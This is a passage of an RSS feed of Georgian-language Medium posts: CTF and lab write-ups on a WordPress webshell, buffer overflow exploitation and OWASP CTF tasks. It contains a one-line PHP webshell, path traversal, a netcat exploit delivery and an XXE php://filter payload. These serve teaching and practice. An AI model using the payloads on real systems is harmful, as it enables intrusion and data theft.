src="https://cdn-images-1.medium.com/max/1024/1*Ng9Ry-Mo8CIYlfr43erpRg.png" /></figure><p>საიტზე წვდომა გვაქვს, შემდეგი ნაბიჯია სისტემაზე წვდომის მოპოვება.</p><p>ამისთვის გამოვიყენებ <strong>webshell</strong>-ს.</p><p>უამრავ ადგილას შეგვიძლია შელის განთავსება, მე აქტიური თემის <strong>404.php</strong> ავირჩიე.</p><p>რომლის ნახვისთვისაც უნდა შეხვიდეთ <strong>Appearance </strong>შემდეგ კი <strong>editor-</strong>ში.</p><p>საქმე კიდევ უფრო გამარტივებული დაგხვდა, <strong>webshell</strong> კოდი უკვე განთავსებულაი <strong>404.php</strong> ში.</p><p>რომლის არ არსებობის შემთხვევაშიც, უბრალოდ დავამატებდით <strong>webshell</strong> კოდს და შევინახავდით ფაილს.</p><blockquote>echo passthru($_GET[‘cmd’]);</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1eVTnG-PJvQloVAh-e7ebQ.png" /></figure><p><strong>webshell</strong> იც გვაქვს, მის გამოსაყენებლად საკმარისია გადავიდეთ იმ მისამართზე, სადაც ისაა განთავსებული და არგუმენტად გადავცეთ <strong>cmd=</strong> და შემდეგ ის ბრძანება, რისი გაშვებაც გვინდა.</p><p>საცდელად გავუშვათ <strong>cmd=ls</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Ll2U1SDlBNNwsjTCocGeg.png" /></figure><p>ჩვენი შელი მუშაობს, ისღა დაგვრჩენია მეორე გასაღები ვიპოვოთ.</p><p>რამდენიმე დირექტორიით უკან გასვლის შემდეგ, გვხდება ფაილი, რომელიც სავარაუდოთ ჩვენი მეორე გასაღებია.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ky0_7QGX2woIqhAUGkZeow.png" /></figure><p>მის სანახავად საკმარისია <strong>ls</strong> შევცვალოთ <strong>cat</strong> ით და მისამართში დავამატოთ ჩვენი ფაილის სახელი:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UzNPGb8BNWFOYU0qcLjHpg.png" /><figcaption><a href="http://185.212.254.50/wp/wordpress/wp-content/themes/twentyseventeen/404.php?cmd=cat%20../../../../../s3cr3t_fil3_for_transactions"><strong>http://185.212.254.50/wp/wordpress/wp-content/themes/twentyseventeen/404.php?cmd=cat%20../../../../../s3cr3t_fil3_for_transactions</strong></a></figcaption></figure><p>მეორე გასაღებიც ვიპოვეთ.</p><p>კიბერ ოლიმპიადა ძალიან კარგი საშუალებაა ახალი ინფორმაციის შესასწავლად, <a href="https://cyber-lab.tech/"><strong>cyber-lab</strong></a> ზე შეგიძლიათ აკეთოთ სავარჯიშოები, რომლებიც გაგაცნობენ რეალურ ინციდენტებს, უამრავი ვორდპრესის <strong>“</strong>დეველოპერი<strong>”</strong> უშვებს მსგავს შეცდომას, არ ანახლებენ დროულად პლაგინებს, აყენებენ გატეხილებს (რომლებშიც გარანტირებულია მსგავში შელ კოდები).</p><p><strong>Feedback is welcome ;)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16ab7a934d4e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/ka-ge/pentest-gunmarket-16ab7a934d4e">Pentest: Gunmarket</a> was originally published in <a href="https://medium.com/ka-ge">ka_GE</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[რა არის Buffer Overflow ?]]></title>
            <link>https://medium.com/ka-ge/what-is-buffer-overflow-4f4cc46a3508?source=rss-c0fbcc820d6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f4cc46a3508</guid>
            <dc:creator><![CDATA[Aleksi Kistauri]]></dc:creator>
            <pubDate>Sun, 02 Jun 2019 21:00:52 GMT</pubDate>
            <atom:updated>2020-04-24T08:45:53.575Z</atom:updated>
            <content:encoded><![CDATA[<h3>რა არის Buffer Overflow ?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ggwl1L1j-ngnb1FGMs8lqw.jpeg" /></figure><h3>buffer</h3><p>რა არის <strong>buffer</strong>-ი?</p><p>ეს არის გაშვებული პროგრამის მეხსიერების ადგილი, რომელიც წინასწარ არის რეზერვირებული და გამოიყენება დროებითი მონაცემების შესანახად. <strong>buffer</strong>-ი წარმოიქმნება პროგრამის გაშვებისას, ინახება <strong>RAM</strong>-ში ხოლო ნადგურდება პროგრამის გათიშვის დროს.</p><p>მაგალითად, გვაქვს პროგრამა, რომელიც მომხარებელს ეკითხება სახელს, ინახავს მას ცვალდში სახელად ‘<strong>username</strong>’ და აბრუნებს — ‘<strong>Hello</strong> <strong>username</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*7tOE1Nq4lcf52dbJJG47kA.png" /></figure><h3>ჩავშალოთ ჩვენი პროგრამა</h3><p><strong>int main()</strong> — განსაზღვრავს ჩვენ მთავარ ფუნქციას</p><p><strong>char username[20]</strong> — ეს ის ადგილია სადაც განვსაზღვრავთ ცვლადის სახელს, მაგრამ ამ ხაზში ყველაზე მნიშვნელოვანია <strong>char</strong> …. <strong>[20]</strong> ეს არის ის ადგილი სადაც განვსაზღვრავთ <strong>buffer</strong>-ს ჩვენი ცვლადისთვის, ჩვენ განვუსაზღვრეთ მას ზომა, რომელიც <strong>20</strong> ის ტოლი უნდა იყოს.</p><p>დანარჩენი კოდი იღებს მომხარებლის შემოტანილ მნიშვნელობას და პრინტავს მას.</p><blockquote><strong>printf(“name : “);<br>scanf(“%s”, username);</strong></blockquote><blockquote><strong>printf(“Hello %s\n”, username);</strong></blockquote><p>რა შედეგს მივიღებთ თუ ჩვენ პროგრამას დავაკომპილირებთ და გავუშვებთ? ვიღებთ იმ აუთფუთს რასაც ველოდით, არა?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*wAv0cMOkztXdyogIo5xvoA.png" /></figure><p>ახლა სანამ <strong>buffer overflow</strong>-ზე გადავალთ გავიგოთ თუ როგორ მუშაობს აპლიკაციის მეხსიერება.</p><h3>აპლიკაციის მეხსიერება, stack-ი და მეხსიერების მისამართები</h3><p>როგორ გამოიყურება აპლიკაციის მეხსიერება და რა არის <strong>stack</strong>?</p><p><strong>stack</strong> ში გვაქვს მეხსიერების <strong>buffer</strong>-ი რომელიც გამოიყენება იმ ფუნქციების და ლოკალური ცვლადების შესანახად, რომლებიც პროგრამას ჭირდება მუშაობისთვის. სადემონსტრაციოდ ვნახოთ ფოტო:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GRv3vhYnZWVkKpAxPHd2Ew.png" /></figure><p>თავდაპირველად ჩვენ გვაქვს კოდი რომელიც არის ჩვენი პროგრამის სორს კოდი, ის მოიცავს ჩვენი პროგრამის მთავარ ინსტრუქციებს.</p><p>შემდეგ ჩვენ გვაქვს <strong>buffer</strong>-ი რომელშიც შენახულია გლობალური ცვლადები.</p><p>ამის მერე ჩვენ გვაქვს <strong>stack</strong>, რომელიც როგორც ავღნიშნეთ ჩვენთვის ყველაზე მნიშვნელოვანია რადგან სწორედ აქ ხდება <strong>buffer overflow</strong>. ის არის ადგილი სადაც შენახულია ლოკალური ცვლადები და ფუნქციები.</p><p>ბოლოს <strong>Heap</strong>-ი, ის არის დინამიური მეხსიერების ალოკაცია.</p><p>ახლა უკვე ვიცით თუ როგორ გამოიყურება აპლიკაციის მეხსიერება და რა არის <strong>stack</strong>-ი, მაგრამ რა არის მეხსიერების მისამართი?</p><p>ჩვეულებრივ, როდესაც პროგრამა კომპილირდება და ეშვება, მის თითოეულ ინსტრუქციას ენიჭება ადგილი მეხსიერებაში, სწორედ ეს არის მეხსიერების მისამართი, როგორც წესი ის წარმოდგენილია <strong>hexadecimal</strong> ფორმატში.</p><p>თუ დავშლით ჩვენ პროგრამას და შევხედავთ, ვიპოვით თითოეულ მეხსიერების მისამართს, რომელიც ჩვენი პროგრამის მაგალითზე ასე გამოიყურება:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*20capErvcsp12724Bk9q5g.png" /></figure><h3><strong>რატომ ხდება Buffer overflow?</strong></h3><p>ჩვენ უკვე ვიცით რა არის <strong>buffer</strong>-ი, ალბათ უკვე მიხდვი რატომ და როდის ხდება<strong> buffer overflow.</strong></p><p>ის თავს იჩენს მაშინ, როდესაც მეხსიერებაში ვცდილობთ წინასწარ რეზერვირებული ადგილის გამოყენებას, მაგრამ ვაწვდით მონაცემების იმ რაოდენობაზე მეტს, რაც მისთვის რეზერვირებული იყო . ამ შემთხვევაში მონაცემები, რომელსაც მივაწვდით ინახება იმ მეხსიერების გარეთ სადაც უნდა შენახულიყო, რაც იწვევს უამრავ პრობლემას, პროგრამა იქრაშება.</p><p>შესადარებლად მოვიყვან ფინჯანისა და წყლის მაგალითს. წარმოვიდგნოთ ჩვენი პროგრამა როგორც ფინჯანი, ხოლო წყალი როგორც მონაცემები, რომელსაც პროგრამას ვაწვდით.</p><p>რახდება მაშინ როდისეც ფინჯანში ვასხავთ იმაზე მეტ წყალს, ვიდრე მაშ შეუძლია დაიტიოს? წყალი გადმოდის ფინჯანიდან და ისხმევა სხვა ადგილას.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*SyqphmfMS118ZD7LIWzrvg.png" /></figure><p>სადემონსტრაციოდ დავუბრუნდეთ პირველ მაგალითს.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZhWB9MP9bzj37REHYTCPrg.png" /></figure><p>მოდი დავამატოთ ახალი ხაზი რომელიც იმ შემთხვევაში თუ პროგრამა არ დაიქრაშება გამოიტანს შეტყობინებას ‘<strong>Works</strong>’.</p><p>ახლა პროგრამა კითხავს მომხარებელს სახელს, და როგორც აქამდე უბრუნებდა, ისევ ისე დაუბრუნებს ‘<strong>Hello</strong> <strong>username</strong>’ და მიამატებს ახალ შეტყობინებას ‘<strong>Works</strong>’.</p><p><strong>buffer</strong>-ი რომელიც <strong>username</strong>-ს ინახავს, როგორც ჩვენ განვსაზღვრეთ უნდა იყოს ზომაში <strong>20 </strong>ბაიტი, ანუ სიმბოლოების ზომა მაქსიმუმ უნდა იყოს <strong>20</strong>-ის ტოლი.</p><p>ყველაფერი იდეალურად მუშაობს მანამ სანამ შეყვანილი <strong>username</strong>-ს ზომა არ იქნება <strong>20</strong>-ზე მეტი.<br>როდესაც ის მეტი გახდება, პროგრამა, როგორც ვახსენეთ, დაიქრაშება.</p><p>თავდიპირველად გავუშვათ პროგრამა ნორმალური, <strong>20</strong>-ზე ნაკლები ზომის <strong>username</strong>-ით:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*zwjN2IEOgMLoQ7Gm8ePcgQ.png" /></figure><p>სავსებით ნორმალური შედეგი მივიღეთ, მოდი ახლა <strong>20</strong>-ზე გრძელი მნიშვნელობა ვცადოთ და ვნახოთ რა მოხდება:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*nADhaO7JMiSxAqEXsOdkew.png" /></figure><p><strong>Bazinga! </strong>ჩვენი პროგრამა დაიქრაშა და მივიღეთ <strong>segmentation fault </strong>ერორი. ეს მოხდა იმიტომ, რომ პროგრამა ელოდა <strong>20</strong> სიმბოლოს, ხოლო გადაეცა მასზე მეტი, რამაც გამოიწვია <strong>buffer overflow</strong> და მივიღეთ <strong>segmentation fault</strong>-ი.</p><h3>რატომ არის Buffer overflow საშიში?</h3><p>ალბათ გაგიჩნდებოდა კითხვა როგორ შეიძლება მისი გამოყენებით რაიმე დავაზიანო?</p><p><strong>Buffer Overflow </strong>- განსაკუთრბით საშიშია მაშინ როდესაც მოწყვლადი პროგრამა გაშვებულია როგორც რუთი. ხოლო როდესაც ის მოწყვლადია <strong>Buffer Overflow</strong> — ს მიმართ, შემტევს შეუძლია მისი საშუალებით მონაცამებს გადააწეროს საკუთარი <strong>payload</strong>-ი რომელიც სისტემაში გაუშვებს <strong>root shell</strong>-ს.</p><h3>Protostar Stack0</h3><p>ახლა გავაკეთოთ პრაკტიკული მაგალითი</p><blockquote>ჩასაწერი ლინკი <a href="https://www.vulnhub.com/entry/exploit-exercises-protostar-v2,32/">https://www.vulnhub.com/entry/exploit-exercises-protostar-v2,32/</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tlp9XMS-6S-TJfG8c1Ni3Q.png" /></figure><p>კოდიდან ვიგებთ რომ პროგრამაში გვაქვს ცვლადი ‘<strong>buffer</strong>’ რომელიც განსაზღვრულია რომ იყოს <strong>64</strong> სიმბოლოსგან შედმგარი. ასევე გვაქვს სხვა ცვლადი სახელად ‘<strong>modifed</strong>’ რომელიც 0 ის ტოლია. ხოლო <strong>gets(buffer)</strong> გვაძლევს საშუალებას შემოვიტანოთ მნიშვნელობა და შევინახოთ ცვლადში — <strong>buffer</strong>. შედმეგია <strong>if statement</strong>, რომელიც ამოწმებს modified-ის მნიშვნელობას და თუ არ უდრის 0-ს აბრუნებს <strong>‘you have changed the ‘modified’ variable\n’</strong> შესაბამისად ჩვენი მისია შევცალოთ მისი მნიშვნელობა.</p><p>ჩვენ უკვე ვიცით, რომ <strong>buffer</strong> არის <strong>64</strong> სიმბოლოსგან შემდგარი, <strong>65</strong> სიმბოლო უკვე შეცვლის <strong>modified</strong> — ის მნიშვნელობას.</p><p><strong>64</strong> სიმბოლოს შემთხვევაში კოდი ჩვეულებრივ ეშვება:</p><pre>ls4cfk@ls4cfk:~$ (python -c &quot;print &#39;a&#39;*64&quot;) | ./stack0<br>Try again?<br>ls4cfk@ls4cfk:~$</pre><p>ხოლო <strong>65</strong> ის შემთხვევაში, <strong>modified</strong> ცვლადს ეწერება ზედ მნიშვნელობა, იცვლება და ჩვენი <strong>if statement</strong> იც სრულდება.</p><pre>ls4cfk@ls4cfk:~$ (python -c &quot;print &#39;a&#39;*65&quot;) | ./stack0<br>you have changed the &#39;modified&#39; variable<br>ls4cfk@ls4cfk:~$</pre><h3>მოდი ცოტა გავართულოთ</h3><p>განვიხილოთ კიბერ ოლიმპიადის, ექსპლოიტ დეველოპმენტის, ამოცანა — <strong>Klasika</strong>, რომლის ნახვაც <a href="http://cyber-lab.tech/"><strong>Cyber-lab.tech</strong></a> — ზე შეგიძლიათ.</p><p>პირობაში ბევრი არაფერი არ გვაქვს მოცემული:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4DBb94ge5YBeYLATRtiMBQ.png" /></figure><p>ისღა დაგვრჩენია გავუშვათ სერვერი</p><p><strong>nmap</strong> ით მარტივად შეგვიძლია ვნახოთ თუ რომელი პორტებია ღია.</p><blockquote><strong>nmap ip</strong>-რომელსაც სერვერის გაშვების შემდეგ მიიღებთ</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*LyVBxbWLY3k6gJ4rga93zw.png" /></figure><p>მოცემული გვაქვს ორი საინტერესო პორტი, <strong>21</strong> და <strong>443</strong>.</p><p><strong>ftp</strong>-ზე თუ შევიხედავთ ვნახავთ ჩვენთვის საინტერესო ფაილებს:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*TN7AgBVQIy5FDHSUGoKg2A.png" /></figure><p>დროებით დავივიწყოთ სერვერი და ლოკალურად გაკეთება ვცადოთ.</p><p>ჩვენი პროგრამა ასე გამოიყურება:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*uKiMY7ax0tw_DIz2MuaKKg.png" /></figure><p>ის იღებს არგუმენტად სახელს და ინახავს ცვლადში <strong>name.</strong></p><p>ჩვენ ასევე გვაქვს მოცემული ფუნქცია — <strong>giveme_shell</strong> რომელიც სისტემაში უშვების <strong>bash</strong>-ს და გვაძლევს მასზე წვდომას. სისტემაზე წვდომის მოსაპოვებლად უნდა გამოვიძახოთ ჩვენი ფუნქცია — რისთვისაც საჭიროა პირველ რიგში ვიპოვოთ <strong>offset</strong>-ი, ანუ გვჭირდება არსებული <strong>buffer</strong> ის <strong>overflow</strong> , რადგან შევცვალოთ <strong>stack</strong>-ში არსებული <strong>return address</strong>-ი და დავაბრუნოთ ჩვენი ფუნქცია.</p><p><strong>offset</strong> — ის საპოვნელი მარტივი გზაა <a href="https://github.com/Svenito/exploit-pattern"><strong>exploit-pattern</strong> </a>ის გამოყენება, გავხსნათ ჩვენი <strong>pwn</strong> , <strong>gdb</strong>-ით და გადავაწოდოთ <strong>exploit-pattern</strong> ით დაგენერირებული მნიშვნელობა:</p><blockquote><strong>gdb pwn</strong></blockquote><blockquote><strong>Aa0Aa0Aa1Aa1Aa2Aa2Aa3Aa3Aa4Aa4Aa5Aa5Aa6Aa6Aa7Aa7Aa8A</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wYYOFDS2Hzdw4EkNH3VuEQ.png" /></figure><p><strong>RBP</strong> -სა და <strong>RSP</strong>— ზე დაკვირვებით მარტივად შეგვიძლია გავიგოთ, რომ <strong>6A</strong>-ს მერე იწყება გადაწერა, ანუ ჩვენი <strong>offset</strong> არის ჩვენი პატერნი <strong>6A</strong>-ს ჩათვლით, რომლის სიგრძეც <strong>40</strong> — ია :</p><p><strong>Aa0Aa0Aa1Aa1Aa2Aa2Aa3Aa3Aa4Aa4Aa5Aa5Aa6A</strong></p><p>მაშ ასე, გვაქვს <strong>offset</strong>, ისღა დაგვრჩენია ვიპოვოთ <strong>giveme_shell</strong> ის მისამართი.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*rmLqAwGUrE8Z00Fwf1rv0Q.png" /></figure><p>ფუნქციის მისამართიც გვაქვს:</p><blockquote><strong>0x0000000000400711</strong></blockquote><p>მოდი ახლა ვცადოთ მისი ექსპლოიტი ლოკალურად.</p><p>ამისთვის დაგვჭირდება <strong>python</strong> და მოდული <strong>struct</strong> რომლის საშუალებითაც მისამართს შესაბამის ფორმატში მივაწვდით. (რა თქმა უნდა, სხვა გზებიცაა. მე ყველაზე მეტად ეს მომწონს.)</p><p>ჩვენი <strong>offset</strong> უნდა შედგებოდეს <strong>40</strong> სიმბოლოსგან, არ აქვს მნიშვნელობა რა იქნება, მე <strong>40</strong> ცალი <strong>A</strong> ავიღე.</p><blockquote>ჩვენი <strong>payload</strong> -ი<strong> ‘\n’-</strong>ის გარეშეც იმუშავებდა, უბრალოდ ასე უფრო კარგად ვნახავთ შედეგს.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*cth8q4JHmxavXgRabWEVzA.png" /></figure><p>მზადაა ჩვენი <strong>payload</strong>, ისღა დაგვრჩენია ჩვენ მოწყვლად პროგრამას მივაწოდოთ ის.</p><blockquote><strong>(./klasika_exploit.py; cat) | ./pwn</strong></blockquote><p>cat საშუალებას გვაძლევს ინტერაქტიულად გვქონდეს გაშვებული ჩვენი ექსპლოიტი, ანუ შეგვიძლია ნებისმიერი ბრძანების მიწოდება.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*Jk1nTLPk2l2PAs0moa49xg.png" /></figure><p>ჩვენმა ექსპლოიტმა იმუშავა ლოკალურად, ისღა დაგვრჩა იგივე ვქნათ ოღონ ამ შემთხვევაში ჩვენ სერვერზე, რომელსაც <strong>netcat</strong> ით ვუკავშირდებით.</p><blockquote><strong>(./klasika_exploit.py; cat) | nc 185.212.254.52 443</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*4OhfOLvNYQGyK8fp4YHcgg.png" /></figure><p>სულ ეს იყო,სერვერზე გავხდით <strong>root</strong>-ი და ავიღეთ სასურველი <strong>flag</strong>-ი.</p><p>იმედია მოგეწონათ და შეიძინეთ ცოდნა <strong>buffer overflow</strong> - ს შესახებ.</p><p><strong>cyber-lab</strong> ზე უამრავი მსგავსი, ზოგიც უფრო საინტერესო ამოცანაა.</p><p>თუ გაქვთ სურვილი, რომ დარეგისტრირდეთ პლატფორმაზე, საჭიროა მიწეროთ <a href="https://www.facebook.com/CyberLab.Tech/"><strong>Cyber-Lab.Tech</strong></a> ოფიციალურ გვერდზე. ან დაუკავშირდეთ ელ.ფოსტაზე: <strong>contact@cyber-lab.tech</strong>.</p><p><strong>Have fun!</strong></p><p><strong>Follow me for future posts ✌️</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f4cc46a3508" width="1" height="1" alt=""><hr><p><a href="https://medium.com/ka-ge/what-is-buffer-overflow-4f4cc46a3508">რა არის Buffer Overflow ?</a> was originally published in <a href="https://medium.com/ka-ge">ka_GE</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP Tbilisi — CTF]]></title>
            <link>https://medium.com/ka-ge/owasp-tbilisi-ctf-a4d56e92acb5?source=rss-c0fbcc820d6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/a4d56e92acb5</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Aleksi Kistauri]]></dc:creator>
            <pubDate>Sat, 18 May 2019 13:58:42 GMT</pubDate>
            <atom:updated>2020-04-24T08:45:01.191Z</atom:updated>
            <content:encoded><![CDATA[<h3>OWASP Tbilisi — CTF</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KG-Xru7iwJU1zZuIFaUFkg.jpeg" /></figure><p>15 მაის, საქართველოში ჩატარდა პირველი, პროგრამული უზრუნველყოფის უსაფრთხოებაზე ორიენტირებული არაკომერციული ორგანიზაციის — <strong>OWASP</strong> ის შეხვედრა, სადაც განხილული იყო ისეთი თემები, როგორიცაა : <strong>Application Security Verification Standard (ASVS)</strong>,<strong> OWASP top 10</strong> და ა.შ.</p><p>ხოლო დღის ბოლოს ჩატარდა <strong>CTF</strong>, რომელიც 3 სავარჯისოსა და 9 კითხვას მოიცავდა. სავარჯიშოები კი განხილული თემებიდან იყო შედგენილი.</p><p>დღეს განვიხილავ ამ სავარჯიშოებს და ვეცდები ყველაფერი გარკვევით ავხსნა. დასპოილერება თუ არ გინდათ, გირჩევთ არ წაიკითხოთ.</p><p>დავიწყოთ კიბერ ჰიგიენის საკითხით.</p><h3><strong>THE.GOV.GE</strong></h3><p>აღსანიშნავია ის ფაქტი, რომ ეს სავარჯიშო <strong>OWASP</strong> ის შეხვედრამდეც იყო <a href="http://cyber-lab.tech/"><strong>Cyber-lab.tech</strong></a> — ზე მაგრამ არავის არ ქონდა ამოხსნილი.</p><p>ამოცანის პირობა შემდეგია:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*N7zBhv_jboVAlCdBpVereg.png" /></figure><p>მოცემული გვაქვს<strong> IAPP.ZIP</strong> — ფაილი, რომელშიც მარტივი, <strong>flask</strong> -ზე დაწერილი საიტია მოცემული.</p><p>მისი სტრუქტურა შემდეგნაირია:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*rVF6bazuqbdm2OlaTGiQ8Q.png" /></figure><p>ფაილებშიც არაფერია საინტერესო:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*LF6KJEE04s0yAcC_En7GWg.png" /></figure><p>ამ მომენტზე დიდხანს ვიყავი გაჭედილი სანამ ჰინთი არ მივიღე, თუ მას <a href="http://github.com/"><strong>Github</strong></a> — ზე მოვძებნით, წავაწყდებით მის რეპოზიტორს.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7daekteKhav6dOi8VV1MmA.png" /></figure><p>რეპოზიტორში ერთი შეხევდით არაფერი საინტერესო არ ხდება, იგივეა თითქმის ყველაფერი. კონფიგურაციაზეც არაფერი ნახსენები</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*2u2YwHWltsQir1JM76Hxcg.png" /></figure><p>ერთადერთი განსხვავება რაც არის, დამატებულია <strong>app.zip</strong> ფაილი, რომელიც ჩვენთვის საინტერესო უნდა იყოს.</p><p>სწორედ აქ ვხვდებით <strong>.git</strong> ფოლდერს</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*SWASocQ61Ooi92P3wVe74Q.png" /></figure><p>ლოგებს თუ ჩავხედავთ, აღმოვაჩენთ ჩვენთვის საინტერესო კომიტებს — “<strong>Remove database connection information.</strong>” და “<strong>Add database connection information.</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W9b0EoIC94J8vWVfSnjLZg.png" /></figure><p>რომლის ნახვაც მარტივად შეგვიძლია:</p><blockquote><strong>git log -p -2 81bda1fefbfe08769d98fe41b7d0226e71481a84</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*OZliOKeP0gn8aoW4XEJnHg.png" /></figure><p><strong>vuala ! </strong>ვიპოვით კონფიგურაციის ფაილი. პირველ კითხვის პასუხიც აშკარა ხდება - <strong>Sensitive data exposure</strong>.</p><p>შემდეგი სავარჯიშო:</p><h3><strong>Tr33</strong></h3><p>ამოცანის პირობა შემდეგია:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*wHL0T-yOihP1XN6dKX6-HA.png" /></figure><p><strong>nmap</strong> — მა და <strong>dirb</strong>- მა მნიშვნელოვანი არაფერი გვაჩვენა, გადავიდეთ საიტზე</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*cfXW7F3wY9cXCA33OuiRiQ.png" /></figure><p>თუ ჩავხედავთ <strong>script.js</strong>-ს შევამჩნევთ, რომ საიტზე იგზავნება <strong>XML</strong> ფაილი, რომელიც შეგვიძლია ინექციისთვის გამოვიყენოთ.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2_PlLUsX3COC7aNxzOAn_Q.png" /></figure><p>სანამ უშუალოდ ინექციაზე გადავალთ განვიხილოთ თუ რა არის თავად <strong>XML</strong>.</p><p><strong>XML</strong> ანუ — <strong>eXtensible Markup Language</strong></p><p>ჩავშალოთ :</p><p><strong>eXtensible</strong> გულისხმობს იმას, რომ შენ შეგიძლია შექმნა შენი თეგები, აღწერო თუ როგორ გამოჩნდეს ეს თეგი და ა.შ.</p><p><strong>Markup Language </strong>მა შეიძლება გაგვახსენოს <strong>HTML</strong> მაგრამ, <strong>XML</strong>-სგან განსხვავებით <strong>html</strong> არის უფრო ‘პრეზენტაციის’ ენა რაც იმას გულისხმობს, რომ ის არ გვაწვდის იმის შესახებ მონაცემებს, თუ როგორი სტრუქტურა აქვს დოკუმენტს.</p><p>სწორად არასწორი <strong>XML</strong> გვაძლევს ისეთი შეტევის განხორციელების უფლებას, როგორიცაა <strong>XXE</strong>.</p><p>აღნიშნულ დავალებაშიც სწორედ <strong>XXE</strong> სისუსტეა, დავტესტოტ <strong>XXE</strong>-ს მარტივი მაგალითით, ვნახოთ თუ რომელი დისტრიბუტორი აყენია სერვერზე:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SgfbztPAji0NjWgM-FdDqw.png" /></figure><p>ვნახოთ <strong>/etc/passwd</strong> ფაილი:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*80Rp1drqsYB5lDxrNz3khQ.png" /></figure><p>როგორც ვხედავთ <strong>XXE</strong> შეტევა მუშაობს, დაგვრჩა <strong>index.php</strong> ფაილის შიგთავსის ნახვა.</p><p>ერთი შეხედვით იოლია, მაგრამ ჩვენ არ შეგვიძლია მას მივწვდეთ რომელიმე იუზერით შემდეგნაირად:</p><blockquote><strong>file:///var/home/vigaca/www/index.php</strong></blockquote><p>რადგან ამ იუზერის ფაილებს ვერ ვნახავთ.</p><p>ჩვენ გვჭირდება <strong>PHP Wrapper</strong> ის განთავსება <strong>XXE</strong>-ში, <strong>PHP Wrapper</strong> ის საშუალებით შეგვიძლია index.php-ს შიგთავსი გადავიყვანოთ base64 ში და გამოვიტანოთ ეს შედეგი:</p><blockquote><strong>&lt;!DOCTYPE replace [&lt;!ENTITY xxe SYSTEM “php://filter/convert.base64-encode/resource=index.php”&gt; ]&gt;</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5istAx5nf9uaZ1tpOEJflA.png" /></figure><p><strong>index.php</strong> ფაილიც მოვიპოვეთ, დაგვრჩა აუთფუთის <strong>base64</strong> იდან დიკოდი. რაც მარტივად შეგვიძლია <a href="https://www.base64decode.org/"><strong>base64decode.org</strong></a> ის გამოყენებით.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*4D7QYlJ4XfNoiXFRDIn7rA.png" /></figure><p><strong>vuala !</strong> გვაქვს ადმინისტრატორის პაროლიც და <strong>flag</strong>-იც.</p><p>შემდეგი სავარჯიშო:</p><h3>PHEl</h3><p>ამოცანის პირობა შემდეგია:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*gWGJbTTAFvK9Rgqpy7s-0w.png" /></figure><p>მოცემული გვაქვს <strong>PHEL.ZIP</strong> არქივი, რომლის სტრუქტურაც შემდეგნაირია</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*Mgwz7KatXHo7KTR7YCO5Zw.png" /></figure><p><strong>index.php</strong> ში საინტერესო არაფერი არ ხდება, ხოლო <strong>.htaccess</strong> იდან ვარკვევთ, რომ იუზერს შეეძლო აეტვირთა <strong>PHP</strong> ფაილი, როგორც ფოტო. ანუ საქმე გვაქვს <strong>Security Misconfiguration</strong> — სთან</p><blockquote><strong>AddHandler application/x-httpd-php .jpg</strong></blockquote><figure><img alt="" 